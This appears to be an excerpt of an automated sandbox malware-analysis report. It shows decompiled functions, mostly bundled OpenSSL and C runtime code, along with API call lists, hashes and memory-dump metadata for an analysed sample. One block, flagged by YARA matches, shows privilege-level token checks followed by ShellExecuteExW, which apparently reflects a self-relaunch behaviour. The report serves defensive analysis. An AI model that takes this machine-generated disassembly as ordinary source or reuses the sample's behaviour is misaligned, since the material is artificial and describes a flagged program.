                          			E6D4D1A20(void* __ebx, void* __edx, intOrPtr* _a4, intOrPtr _a8) {
                          				void* __edi;
                          				intOrPtr _t18;
                          				intOrPtr _t19;
                          				signed int _t40;
                          				intOrPtr _t43;
                          				intOrPtr _t51;
                          				intOrPtr* _t52;
                          				intOrPtr _t53;
                          
                          				_t53 = _a8;
                          				_t52 = _a4;
                          				_t43 =  *_t52;
                          				if(_t43 < _t53) {
                          					__eflags =  *(_t52 + 8) - _t53;
                          					if( *(_t52 + 8) < _t53) {
                          						__eflags = _t53 - 0x5ffffffc;
                          						if(__eflags <= 0) {
                          							_t6 = _t53 + 3; // 0x6d4d003a
                          							_t11 = _t52 + 4; // 0xcf840fc0
                          							_t18 =  *_t11;
                          							_push(__ebx);
                          							_t40 = 0xaaaaaaab * _t6 >> 0x20 >> 1 << 2;
                          							__eflags = _t18;
                          							if(_t18 != 0) {
                          								_t12 = _t52 + 8; // 0x8b000000
                          								_t19 = E6D4C2520(_t18,  *_t12, _t40, ".\\crypto\\buffer\\buffer.c", 0x9d);
                          							} else {
                          								_t19 = E6D4C2430(_t40, ".\\crypto\\buffer\\buffer.c", 0x9b);
                          							}
                          							_t51 = _t19;
                          							__eflags = _t51;
                          							if(__eflags != 0) {
                          								__eflags = _t53 -  *_t52;
                          								 *((intOrPtr*)(_t52 + 4)) = _t51;
                          								 *(_t52 + 8) = _t40;
                          								E6D51FE40( *_t52 + _t51, 0, _t53 -  *_t52);
                          								 *_t52 = _t53;
                          								return _t53;
                          							} else {
                          								E6D4C3670(_t40, _t51, _t52, __eflags, 7, 0x69, 0x41, ".\\crypto\\buffer\\buffer.c", 0x9f);
                          								__eflags = 0;
                          								return 0;
                          							}
                          						} else {
                          							E6D4C3670(__ebx, __edx, _t52, __eflags, 7, 0x69, 0x41, ".\\crypto\\buffer\\buffer.c", 0x96);
                          							__eflags = 0;
                          							return 0;
                          						}
                          					} else {
                          						_t5 = _t52 + 4; // 0xcf840fc0
                          						__eflags =  *_t5 + _t43;
                          						E6D51FE40( *_t5 + _t43, 0, _t53 - _t43);
                          						 *_t52 = _t53;
                          						return _t53;
                          					}
                          				} else {
                          					_t3 = _t52 + 4; // 0xcf840fc0
                          					E6D51FE40( *_t3 + _t53, 0, _t43 - _t53);
                          					 *_t52 = _t53;
                          					return _t53;
                          				}
                          			}











                          0x6d4d1a21
                          0x6d4d1a26
                          0x6d4d1a2a
                          0x6d4d1a2e
                          0x6d4d1a4a
                          0x6d4d1a4d
                          0x6d4d1a6b
                          0x6d4d1a71
                          0x6d4d1a90
                          0x6d4d1a9a
                          0x6d4d1a9a
                          0x6d4d1a9d
                          0x6d4d1aa2
                          0x6d4d1aa5
                          0x6d4d1aa7
                          0x6d4d1ac9
                          0x6d4d1acd
                          0x6d4d1aa9
                          0x6d4d1ab4
                          0x6d4d1ab9
                          0x6d4d1ad5
                          0x6d4d1ad7
                          0x6d4d1ad9
                          0x6d4d1aff
                          0x6d4d1b01
                          0x6d4d1b0a
                          0x6d4d1b0e
                          0x6d4d1b16
                          0x6d4d1b1d
                          0x6d4d1adb
                          0x6d4d1aeb
                          0x6d4d1af3
                          0x6d4d1afa
                          0x6d4d1afa
                          0x6d4d1a73
                          0x6d4d1a83
                          0x6d4d1a8b
                          0x6d4d1a8f
                          0x6d4d1a8f
                          0x6d4d1a4f
                          0x6d4d1a54
                          0x6d4d1a57
                          0x6d4d1a5c
                          0x6d4d1a64
                          0x6d4d1a6a
                          0x6d4d1a6a
                          0x6d4d1a30
                          0x6d4d1a33
                          0x6d4d1a3b
                          0x6d4d1a43
                          0x6d4d1a49
                          0x6d4d1a49

                          APIs
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _memset
                          • String ID: .\crypto\buffer\buffer.c
                          • API String ID: 2102423945-294840303
                          • Opcode ID: 4ae9fc677b555dc2239c9d6f2e4ad0a01f858bac298b5ccc482364a4ff81f46e
                          • Instruction ID: c47e894f4ad1e705e174ffab87f6bd479e43773c1aa401175b46a4962ddb3745
                          • Opcode Fuzzy Hash: 4ae9fc677b555dc2239c9d6f2e4ad0a01f858bac298b5ccc482364a4ff81f46e
                          • Instruction Fuzzy Hash: 402126B6B482123BE2549A2CFC55F56B358EB84B18F10813AF70CD7B81E7B0AC1183D1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • GetCurrentProcess.KERNEL32 ref: 029A7D32
                            • Part of subcall function 029A7AF7: OpenProcessToken.ADVAPI32(?,00000008,?), ref: 029A7B0A
                            • Part of subcall function 029A7AF7: GetTokenInformation.ADVAPI32(?,00000012(TokenIntegrityLevel),00000000,00000004,?), ref: 029A7B23
                            • Part of subcall function 029A7B40: OpenProcessToken.ADVAPI32(?,00000008,?), ref: 029A7B52
                            • Part of subcall function 029A7B40: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,0000004C,?), ref: 029A7B6B
                            • Part of subcall function 029A7B40: IsValidSid.ADVAPI32(?), ref: 029A7B7A
                            • Part of subcall function 029A5D82: ReleaseMutex.KERNEL32(029A7D75), ref: 029A5D88
                            • Part of subcall function 029A5718: GetModuleFileNameW.KERNEL32(?,00000000,00000106,?,?,?,?,029A30E4,00000000,?), ref: 029A573C
                          • GetForegroundWindow.USER32 ref: 029A7DC1
                          • ShellExecuteExW.SHELL32(0000003C), ref: 029A7DF9
                            • Part of subcall function 029A54AF: ExitProcess.KERNEL32 ref: 029A54B5
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: ProcessToken$InformationOpen$CurrentExecuteExitFileForegroundModuleMutexNameReleaseShellValidWindow
                          • String ID: <
                          • API String ID: 227555697-4251816714
                          • Opcode ID: bb87ebdc2927fb18092c8addeef4c7372006b534693aaed043c02d6a6d4eecf2
                          • Instruction ID: 5bada99bb4baeb08fbf49e11b0cfa21e1203f14ee76b31016aa8f07b698cfd58
                          • Opcode Fuzzy Hash: bb87ebdc2927fb18092c8addeef4c7372006b534693aaed043c02d6a6d4eecf2
                          • Instruction Fuzzy Hash: 572151B1E01318ABDB11AFE598D1AEEF7B9FF44310F51042EE505B6240EB348A118FD5
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 40%
                          			E6D4C2B60(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __ebp, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                          				intOrPtr _v0;
                          				intOrPtr _t9;
                          				intOrPtr _t13;
                          				void* _t16;
                          				intOrPtr _t20;
                          				void* _t23;
                          				void* _t25;
                          				void* _t27;
                          
                          				_t27 = __eflags;
                          				_t18 = __edi;
                          				_t17 = __edx;
                          				_t16 = __ecx;
                          				_t15 = __ebx;
                          				_push(_a12);
                          				_push(_a8);
                          				_push(_a4);
                          				_push("%s(%d): OpenSSL internal error, assertion failed: %s\n");
                          				E6D4C2A20(__ebx, __edx, __edi);
                          				_push(0x16);
                          				E6D520ABB(__ebx, __edi, __esi, _t27);
                          				E6D520338(3);
                          				asm("int3");
                          				asm("int3");
                          				asm("int3");
                          				asm("int3");
                          				asm("int3");
                          				asm("int3");
                          				asm("int3");
                          				asm("int3");
                          				asm("int3");
                          				_push(__esi);
                          				_t20 = 0;
                          				E6D4C2840(_t15, _t17, _t18, 9, 1, ".\\crypto\\err\\err.c", 0x169);
                          				_t9 =  *0x6d57eecc; // 0x0
                          				_t25 = _t23 + 0x24;
                          				if(_t9 != 0) {
                          					L3:
                          					_t20 = _t9;
                          				} else {
                          					_t29 = _v0;
                          					if(_v0 != 0) {
                          						E6D4C5AE0(_t15, _t17, _t18, 0, _t29, "int_err_get (err.c)", ".\\crypto\\err\\err.c", 0x16b);
                          						_t13 = E6D4C7180(E6D4C3790, E6D4E8E50);
                          						_t25 = _t25 + 0x14;
                          						 *0x6d57eecc = _t13;
                          						E6D4C5990(_t15, _t16, _t17, _t18, 0, _t29);
                          						_t9 =  *0x6d57eecc; // 0x0
                          						if(_t9 != 0) {
                          							goto L3;
                          						}
                          					}
                          				}
                          				E6D4C2840(_t15, _t17, _t18, 0xa, 1, ".\\crypto\\err\\err.c", 0x171);
                          				return _t20;
                          			}











                          0x6d4c2b60
                          0x6d4c2b60
                          0x6d4c2b60
                          0x6d4c2b60
                          0x6d4c2b60
                          0x6d4c2b60
                          0x6d4c2b64
                          0x6d4c2b68
                          0x6d4c2b6c
                          0x6d4c2b71
                          0x6d4c2b76
                          0x6d4c2b78
                          0x6d4c2b82
                          0x6d4c2b87
                          0x6d4c2b88
                          0x6d4c2b89
                          0x6d4c2b8a
                          0x6d4c2b8b
                          0x6d4c2b8c
                          0x6d4c2b8d
                          0x6d4c2b8e
                          0x6d4c2b8f
                          0x6d4c2b90
                          0x6d4c2b9f
                          0x6d4c2ba1
                          0x6d4c2ba6
                          0x6d4c2bab
                          0x6d4c2bb0
                          0x6d4c2bf1
                          0x6d4c2bf1
                          0x6d4c2bb2
                          0x6d4c2bb2
                          0x6d4c2bb6
                          0x6d4c2bc7
                          0x6d4c2bd6
                          0x6d4c2bdb
                          0x6d4c2bde
                          0x6d4c2be3
                          0x6d4c2be8
                          0x6d4c2bef
                          0x00000000
                          0x00000000
                          0x6d4c2bef
                          0x6d4c2bb6
                          0x6d4c2c01
                          0x6d4c2c0c

                          APIs
                            • Part of subcall function 6D4C2A20: GetStdHandle.KERNEL32(000000F4,00000000,6D4C2B76,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,6D4C18E6,.\crypto\evp\evp_enc.c,000000F0,EVP_CIPHER_CTX_iv_length(ctx) <= (int)sizeof(ctx->iv),?,?,6D57EE60), ref: 6D4C2A3B
                            • Part of subcall function 6D4C2A20: GetFileType.KERNEL32(00000000,?,?,6D57EE60), ref: 6D4C2A48
                            • Part of subcall function 6D4C2A20: vswprintf.LIBCMT ref: 6D4C2A6B
                            • Part of subcall function 6D4C2A20: WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,6D57EE60), ref: 6D4C2A8B
                          • _raise.LIBCMT ref: 6D4C2B78
                            • Part of subcall function 6D520ABB: __getptd_noexit.LIBCMT ref: 6D520AF8
                            • Part of subcall function 6D520338: _doexit.LIBCMT ref: 6D520342
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: File$HandleTypeWrite__getptd_noexit_doexit_raisevswprintf
                          • String ID: %s(%d): OpenSSL internal error, assertion failed: %s$.\crypto\err\err.c$int_err_get (err.c)
                          • API String ID: 175216059-906899992
                          • Opcode ID: 42ab7acc8a7c1b7ff2cd6e3edf39a036391b9c47bde98eb55f756bd51250633e
                          • Instruction ID: 4202280476baa19e4a3fb030793830b76e2f60b3f363b074a93240c6037f4026
                          • Opcode Fuzzy Hash: 42ab7acc8a7c1b7ff2cd6e3edf39a036391b9c47bde98eb55f756bd51250633e
                          • Instruction Fuzzy Hash: 4701A738A487213FEA356E695C51FAB32505B11705F039808FB18659D2FFF28C5087D3
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 85%
                          			E6D5268E6(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                          				signed int _t15;
                          				signed int _t20;
                          				signed int _t26;
                          				void* _t30;
                          				void* _t32;
                          				signed int _t35;
                          				void* _t36;
                          
                          				_t30 = __edx;
                          				_t25 = __ebx;
                          				_push(0xc);
                          				_push(0x6d55bd60);
                          				E6D525CA0(__ebx, __edi, __esi);
                          				 *(_t36 - 0x1c) = 0;
                          				_t32 = E6D524E56();
                          				_t26 =  *0x6d57e930; // 0xfffffffe
                          				if(( *(_t32 + 0x70) & _t26) == 0 ||  *((intOrPtr*)(_t32 + 0x6c)) == 0) {
                          					_t15 = E6D5261A6(0xd);
                          					 *((intOrPtr*)(_t36 - 4)) = 0;
                          					_t35 =  *(_t32 + 0x68);
                          					 *(_t36 - 0x1c) = _t35;
                          					__eflags = _t35 -  *0x6d57e544; // 0xf95fa0
                          					if(__eflags != 0) {
                          						__eflags = _t35;
                          						if(__eflags != 0) {
                          							__eflags = _t15 | 0xffffffff;
                          							asm("lock xadd [esi], eax");
                          							if(__eflags == 0) {
                          								__eflags = _t35 - 0x6d57e320;
                          								if(__eflags != 0) {
                          									E6D51FF0B(_t35);
                          								}
                          							}
                          						}
                          						_t20 =  *0x6d57e544; // 0xf95fa0
                          						 *(_t32 + 0x68) = _t20;
                          						_t35 =  *0x6d57e544; // 0xf95fa0
                          						 *(_t36 - 0x1c) = _t35;
                          						asm("lock xadd [esi], eax");
                          					}
                          					 *((intOrPtr*)(_t36 - 4)) = 0xfffffffe;
                          					E6D526983();
                          				} else {
                          					_t35 =  *(_t32 + 0x68);
                          				}
                          				_t40 = _t35;
                          				if(_t35 == 0) {
                          					E6D520289(_t25, _t30, _t32, _t35, _t40, 0x20);
                          				}
                          				return E6D525CE5(_t35);
                          			}










                          0x6d5268e6
                          0x6d5268e6
                          0x6d5268e6
                          0x6d5268e8
                          0x6d5268ed
                          0x6d5268f4
                          0x6d5268fc
                          0x6d5268fe
                          0x6d526907
                          0x6d526927
                          0x6d52692d
                          0x6d526930
                          0x6d526933
                          0x6d526936
                          0x6d52693c
                          0x6d52693e
                          0x6d526940
                          0x6d526942
                          0x6d526945
                          0x6d526949
                          0x6d52694b
                          0x6d526951
                          0x6d526954
                          0x6d526959
                          0x6d526951
                          0x6d526949
                          0x6d52695a
                          0x6d52695f
                          0x6d526962
                          0x6d526968
                          0x6d52696e
                          0x6d52696e
                          0x6d526972
                          0x6d526979
                          0x6d52690e
                          0x6d52690e
                          0x6d52690e
                          0x6d526911
                          0x6d526913
                          0x6d526917
                          0x6d52691c
                          0x6d526924

                          APIs
                            • Part of subcall function 6D524E56: __getptd_noexit.LIBCMT ref: 6D524E57
                            • Part of subcall function 6D524E56: __amsg_exit.LIBCMT ref: 6D524E64
                          • __amsg_exit.LIBCMT ref: 6D526917
                          • __lock.LIBCMT ref: 6D526927
                          • _free.LIBCMT ref: 6D526954
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: __amsg_exit$__getptd_noexit__lock_free
                          • String ID: Wm
                          • API String ID: 3054295789-1384386914
                          • Opcode ID: dac9a9035df3b8a8f8e24d27a4f78f0670cae4420999541d495be1339fddd891
                          • Instruction ID: 55dfb99f23bc34da25da249ba199ebdc2bd48aa149b9b414deb6164535b183c5
                          • Opcode Fuzzy Hash: dac9a9035df3b8a8f8e24d27a4f78f0670cae4420999541d495be1339fddd891
                          • Instruction Fuzzy Hash: E511AD32D497279BCB199F68850076DB7B0BB46B24B26090AD564A3EC0DB306D49CFC6
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 95%
                          			E6D522A1A(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
                          				signed int _v8;
                          				signed int _v12;
                          				void* __ebx;
                          				void* __edi;
                          				void* __esi;
                          				void* __ebp;
                          				signed int _t49;
                          				signed int _t50;
                          				signed int _t53;
                          				void* _t57;
                          				signed int _t59;
                          				signed int _t61;
                          				signed int _t62;
                          				signed int _t63;
                          				signed int _t65;
                          				signed int _t70;
                          				signed int _t71;
                          				signed int _t73;
                          				signed int _t74;
                          				signed int _t79;
                          				signed int _t87;
                          				signed int _t92;
                          				intOrPtr* _t96;
                          				void* _t97;
                          
                          				_push(_t72);
                          				_t73 = _a8;
                          				if(_t73 == 0) {
                          					L4:
                          					_t50 = 0;
                          					L5:
                          					return _t50;
                          				}
                          				_t70 = _a12;
                          				if(_t70 == 0) {
                          					goto L4;
                          				}
                          				_t96 = _a16;
                          				if(_t96 != 0) {
                          					__eflags = _a4;
                          					if(_a4 == 0) {
                          						goto L3;
                          					}
                          					_t53 = _t49 | 0xffffffff;
                          					__eflags = _t70 - _t53 / _t73;
                          					if(_t70 > _t53 / _t73) {
                          						goto L3;
                          					}
                          					_t92 = _t73 * _t70;
                          					__eflags =  *(_t96 + 0xc) & 0x0000010c;
                          					_t71 = _t92;
                          					if(( *(_t96 + 0xc) & 0x0000010c) == 0) {
                          						_t74 = 0x1000;
                          					} else {
                          						_t74 =  *(_t96 + 0x18);
                          					}
                          					_v8 = _t74;
                          					__eflags = _t92;
                          					if(_t92 == 0) {
                          						L34:
                          						_t50 = _a12;
                          						goto L5;
                          					} else {
                          						do {
                          							_t84 =  *(_t96 + 0xc) & 0x00000108;
                          							__eflags = _t84;
                          							if(_t84 == 0) {
                          								L18:
                          								__eflags = _t71 - _t74;
                          								if(_t71 < _t74) {
                          									_t57 = E6D526E93( *_a4, _t96);
                          									__eflags = _t57 - 0xffffffff;
                          									if(_t57 == 0xffffffff) {
                          										L36:
                          										_t50 = (_t92 - _t71) / _a8;
                          										goto L5;
                          									}
                          									_a4 = _a4 + 1;
                          									_t71 = _t71 - 1;
                          									_t74 =  *(_t96 + 0x18);
                          									_v8 = _t74;
                          									__eflags = _t74;
                          									if(_t74 <= 0) {
                          										_t74 = 1;
                          										__eflags = 1;
                          										_v8 = 1;
                          									}
                          									goto L33;
                          								}
                          								__eflags = _t84;
                          								if(_t84 == 0) {
                          									L22:
                          									_t59 = _t71;
                          									__eflags = _t74;
                          									if(_t74 == 0) {
                          										_v12 = _t71;
                          									} else {
                          										_t84 = _t59 % _t74;
                          										_t59 = _t71 - _t59 % _t74;
                          										_v12 = _t59;
                          									}
                          									_push(_t59);
                          									_push(_a4);
                          									_push(E6D52219E(_t96));
                          									_t61 = E6D529201(_t71, _t84, _t92, _t96, __eflags);
                          									_t97 = _t97 + 0xc;
                          									__eflags = _t61 - 0xffffffff;
                          									if(_t61 == 0xffffffff) {
                          										L35:
                          										_t43 = _t96 + 0xc;
                          										 *_t43 =  *(_t96 + 0xc) | 0x00000020;
                          										__eflags =  *_t43;
                          										goto L36;
                          									} else {
                          										_t79 = _v12;
                          										_t87 = _t79;
                          										__eflags = _t61 - _t79;
                          										if(_t61 <= _t79) {
                          											_t87 = _t61;
                          										}
                          										_a4 = _a4 + _t87;
                          										_t71 = _t71 - _t87;
                          										__eflags = _t61 - _t79;
                          										if(_t61 < _t79) {
                          											goto L35;
                          										} else {
                          											L29:
                          											_t74 = _v8;
                          											goto L33;
                          										}
                          									}
                          								}
                          								_t62 = E6D521EB5(_t84, _t96);
                          								__eflags = _t62;
                          								if(_t62 != 0) {
                          									goto L36;
                          								}
                          								_t74 = _v8;
                          								goto L22;
                          							}
                          							_t63 =  *(_t96 + 4);
                          							_v12 = _t63;
                          							__eflags = _t63;
                          							if(__eflags == 0) {
                          								goto L18;
                          							}
                          							if(__eflags < 0) {
                          								goto L35;
                          							}
                          							__eflags = _t71 - _t63;
                          							if(_t71 < _t63) {
                          								_t63 = _t71;
                          								_v12 = _t71;
                          							}
                          							E6D51F530( *_t96, _a4, _t63);
                          							_t65 = _v12;
                          							_t97 = _t97 + 0xc;
                          							 *(_t96 + 4) =  *(_t96 + 4) - _t65;
                          							_t71 = _t71 - _t65;
                          							 *_t96 =  *_t96 + _t65;
                          							_a4 = _a4 + _t65;
                          							goto L29;
                          							L33:
                          							__eflags = _t71;
                          						} while (_t71 != 0);
                          						goto L34;
                          					}
                          				}
                          				L3:
                          				 *((intOrPtr*)(E6D522D08())) = 0x16;
                          				E6D52616B();
                          				goto L4;
                          			}



























                          0x6d522a1e
                          0x6d522a1f
                          0x6d522a27
                          0x6d522a47
                          0x6d522a47
                          0x6d522a49
                          0x6d522a4f
                          0x6d522a4f
                          0x6d522a29
                          0x6d522a2e
                          0x00000000
                          0x00000000
                          0x6d522a30
                          0x6d522a35
                          0x6d522a50
                          0x6d522a54
                          0x00000000
                          0x00000000
                          0x6d522a56
                          0x6d522a5d
                          0x6d522a5f
                          0x00000000
                          0x00000000
                          0x6d522a63
                          0x6d522a66
                          0x6d522a6d
                          0x6d522a6f
                          0x6d522a76
                          0x6d522a71
                          0x6d522a71
                          0x6d522a71
                          0x6d522a7b
                          0x6d522a7e
                          0x6d522a80
                          0x6d522b59
                          0x6d522b59
                          0x00000000
                          0x6d522a86
                          0x6d522a86
                          0x6d522a89
                          0x6d522a89
                          0x6d522a8f
                          0x6d522ac7
                          0x6d522ac7
                          0x6d522ac9
                          0x6d522b31
                          0x6d522b38
                          0x6d522b3b
                          0x6d522b65
                          0x6d522b6b
                          0x00000000
                          0x6d522b6b
                          0x6d522b3d
                          0x6d522b40
                          0x6d522b41
                          0x6d522b44
                          0x6d522b47
                          0x6d522b49
                          0x6d522b4d
                          0x6d522b4d
                          0x6d522b4e
                          0x6d522b4e
                          0x00000000
                          0x6d522b49
                          0x6d522acb
                          0x6d522acd
                          0x6d522ae1
                          0x6d522ae1
                          0x6d522ae3
                          0x6d522ae5
                          0x6d522af4
                          0x6d522ae7
                          0x6d522ae9
                          0x6d522aed
                          0x6d522aef
                          0x6d522aef
                          0x6d522af7
                          0x6d522af8
                          0x6d522b02
                          0x6d522b03
                          0x6d522b08
                          0x6d522b0b
                          0x6d522b0e
                          0x6d522b61
                          0x6d522b61
                          0x6d522b61
                          0x6d522b61
                          0x00000000
                          0x6d522b10
                          0x6d522b10
                          0x6d522b13
                          0x6d522b15
                          0x6d522b17
                          0x6d522b19
                          0x6d522b19
                          0x6d522b1b
                          0x6d522b1e
                          0x6d522b20
                          0x6d522b22
                          0x00000000
                          0x6d522b24
                          0x6d522b24
                          0x6d522b24
                          0x00000000
                          0x6d522b24
                          0x6d522b22
                          0x6d522b0e
                          0x6d522ad0
                          0x6d522ad6
                          0x6d522ad8
                          0x00000000
                          0x00000000
                          0x6d522ade
                          0x00000000
                          0x6d522ade
                          0x6d522a91
                          0x6d522a94
                          0x6d522a97
                          0x6d522a99
                          0x00000000
                          0x00000000
                          0x6d522a9b
                          0x00000000
                          0x00000000
                          0x6d522aa1
                          0x6d522aa3
                          0x6d522aa5
                          0x6d522aa7
                          0x6d522aa7
                          0x6d522ab0
                          0x6d522ab5
                          0x6d522ab8
                          0x6d522abb
                          0x6d522abe
                          0x6d522ac0
                          0x6d522ac2
                          0x00000000
                          0x6d522b51
                          0x6d522b51
                          0x6d522b51
                          0x00000000
                          0x6d522a86
                          0x6d522a80
                          0x6d522a37
                          0x6d522a3c
                          0x6d522a42
                          0x00000000

                          APIs
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: __flsbuf__flush__getptd_noexit__write_memmove
                          • String ID:
                          • API String ID: 2782032738-0
                          • Opcode ID: c5e5c94e85e17e1a6dd574f2cfa416c63b18068e42f6ea8b0c6c3ed839e84383
                          • Instruction ID: 8a3feda67a36b28ebdcfec4b73d0dfa4f22a0745505e5f85bc59a8722e6479ba
                          • Opcode Fuzzy Hash: c5e5c94e85e17e1a6dd574f2cfa416c63b18068e42f6ea8b0c6c3ed839e84383
                          • Instruction Fuzzy Hash: 4541B439624706AFDB3C8EA9CC809AA77B5AF85360B10C93DE81587ED0D7B0DD598B40
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E6D52E403(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
                          				char _v8;
                          				intOrPtr _v12;
                          				int _v20;
                          				int _t35;
                          				int _t38;
                          				int _t42;
                          				intOrPtr* _t44;
                          				int _t47;
                          				short* _t49;
                          				intOrPtr _t50;
                          				intOrPtr _t54;
                          				int _t55;
                          				int _t59;
                          				char* _t62;
                          
                          				_t62 = _a8;
                          				if(_t62 == 0) {
                          					L5:
                          					return 0;
                          				}
                          				_t50 = _a12;
                          				if(_t50 == 0) {
                          					goto L5;
                          				}
                          				if( *_t62 != 0) {
                          					E6D52188C( &_v20, _a16);
                          					_t35 = _v20;
                          					__eflags =  *(_t35 + 0xa8);
                          					if( *(_t35 + 0xa8) != 0) {
                          						_t38 = E6D52C680( *_t62 & 0x000000ff,  &_v20);
                          						__eflags = _t38;
                          						if(_t38 == 0) {
                          							__eflags = _a4;
                          							_t59 = 1;
                          							_t42 = MultiByteToWideChar( *(_v20 + 4), 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
                          							__eflags = _t42;
                          							if(_t42 != 0) {
                          								L21:
                          								__eflags = _v8;
                          								if(_v8 != 0) {
                          									_t54 = _v12;
                          									_t31 = _t54 + 0x70;
                          									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
                          									__eflags =  *_t31;
                          								}
                          								return _t59;
                          							}
                          							L20:
                          							_t44 = E6D522D08();
                          							_t59 = _t59 | 0xffffffff;
                          							__eflags = _t59;
                          							 *_t44 = 0x2a;
                          							goto L21;
                          						}
                          						_t59 = _v20;
                          						__eflags =  *(_t59 + 0x74) - 1;
                          						if( *(_t59 + 0x74) <= 1) {
                          							L15:
                          							__eflags = _t50 -  *(_t59 + 0x74);
                          							L16:
                          							if(__eflags < 0) {
                          								goto L20;
                          							}
                          							__eflags = _t62[1];
                          							if(_t62[1] == 0) {
                          								goto L20;
                          							}
                          							L18:
                          							_t59 =  *(_t59 + 0x74);
                          							goto L21;
                          						}
                          						__eflags = _t50 -  *(_t59 + 0x74);
                          						if(__eflags < 0) {
                          							goto L16;
                          						}
                          						__eflags = _a4;
                          						_t47 = MultiByteToWideChar( *(_t59 + 4), 9, _t62,  *(_t59 + 0x74), _a4, 0 | _a4 != 0x00000000);
                          						_t59 = _v20;
                          						__eflags = _t47;
                          						if(_t47 != 0) {
                          							goto L18;
                          						}
                          						goto L15;
                          					}
                          					_t55 = _a4;
                          					__eflags = _t55;
                          					if(_t55 != 0) {
                          						 *_t55 =  *_t62 & 0x000000ff;
                          					}
                          					_t59 = 1;
                          					goto L21;
                          				}
                          				_t49 = _a4;
                          				if(_t49 != 0) {
                          					 *_t49 = 0;
                          				}
                          				goto L5;
                          			}

















                          0x6d52e40b
                          0x6d52e410
                          0x6d52e42a
                          0x00000000
                          0x6d52e42a
                          0x6d52e412
                          0x6d52e417
                          0x00000000
                          0x00000000
                          0x6d52e41c
                          0x6d52e439
                          0x6d52e43e
                          0x6d52e441
                          0x6d52e448
                          0x6d52e467
                          0x6d52e46e
                          0x6d52e470
                          0x6d52e4b4
                          0x6d52e4c3
                          0x6d52e4cb
                          0x6d52e4d1
                          0x6d52e4d3
                          0x6d52e4e3
                          0x6d52e4e3
                          0x6d52e4e7
                          0x6d52e4e9
                          0x6d52e4ec
                          0x6d52e4ec
                          0x6d52e4ec
                          0x6d52e4ec
                          0x00000000
                          0x6d52e4f2
                          0x6d52e4d5
                          0x6d52e4d5
                          0x6d52e4da
                          0x6d52e4da
                          0x6d52e4dd
                          0x00000000
                          0x6d52e4dd
                          0x6d52e472
                          0x6d52e475
                          0x6d52e479
                          0x6d52e4a2
                          0x6d52e4a2
                          0x6d52e4a5
                          0x6d52e4a5
                          0x00000000
                          0x00000000
                          0x6d52e4a7
                          0x6d52e4ab
                          0x00000000
                          0x00000000
